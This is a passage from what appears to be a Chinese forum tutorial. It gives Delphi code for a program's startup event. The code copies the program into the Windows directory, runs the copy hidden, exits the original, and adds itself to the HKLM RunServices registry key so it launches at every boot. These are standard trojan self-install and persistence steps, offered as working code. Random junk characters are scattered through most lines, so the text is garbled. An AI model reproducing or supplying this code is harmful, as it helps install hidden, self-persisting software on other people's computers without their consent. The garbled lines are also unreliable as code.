|
为了程序能在Windows每次启动时自动运行/ O( c- ^- N) |, _! m
加入Registry单元,改写上面的窗口Create事件,改写后的程序如下:; w# W: ~1 B2 j5 ]; G4 k; g
procedure TForm1.FormCreate(Sender: TObject);+ p! T* e0 {) c. M a
const K = '\Software\Microsoft\Windows\CurrentVersion\RunServices';
$ l( q g- V& Zvar myname: string;
u# ^- I' M7 s6 b' ~/ xbegin
) R5 D$ j, p# q; V7 K- _9 C6 L2 f{Write by Lovejingtao,替换Lovejingtao.126.com,Lovejingtao@21cn.com}# ^ Q. P9 B- M$ C+ k% b5 X
myname := ExtractFilename(Application.Exename); //获得文件名
: S h/ e9 j( L/ N8 B3 P1 o5 L$ Yif application.Exename <> GetWindir + myname then //如果文件不是在Windows\System\那么..
" G, A: W. O3 H# e( sbegin
. F1 ]# i! ^# z* Zcopyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//将自己拷贝到Windows\System\下}7 T# M. i- Z$ L5 \
Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件
' Y( h) r7 K. n9 J" Z/ O# mapplication.Terminate;//退出+ l k0 z9 a; P5 s) ^ e
end;
# M' N/ K! }* ], gwith TRegistry.Create do, k; s3 H3 `" m. R' f" D
try3 d( r, B! J2 `! N( B
RootKey := HKEY_LOCAL_MACHINE;
( p/ N2 S' P- ?7 Y+ Y& b @OpenKey( K, TRUE );+ [3 {) T/ a, W: ^3 ~" |
WriteString( 'syspler', application.ExeName );
. n" D/ N5 l" M6 k. Vfinally4 T$ ^0 k0 o! {7 a" W6 F: r$ r- C& E
free;6 O" f7 A. _9 f1 y) t3 Y
end;, S' c0 D7 l0 D- o+ S' r9 ~: Q
end; |
|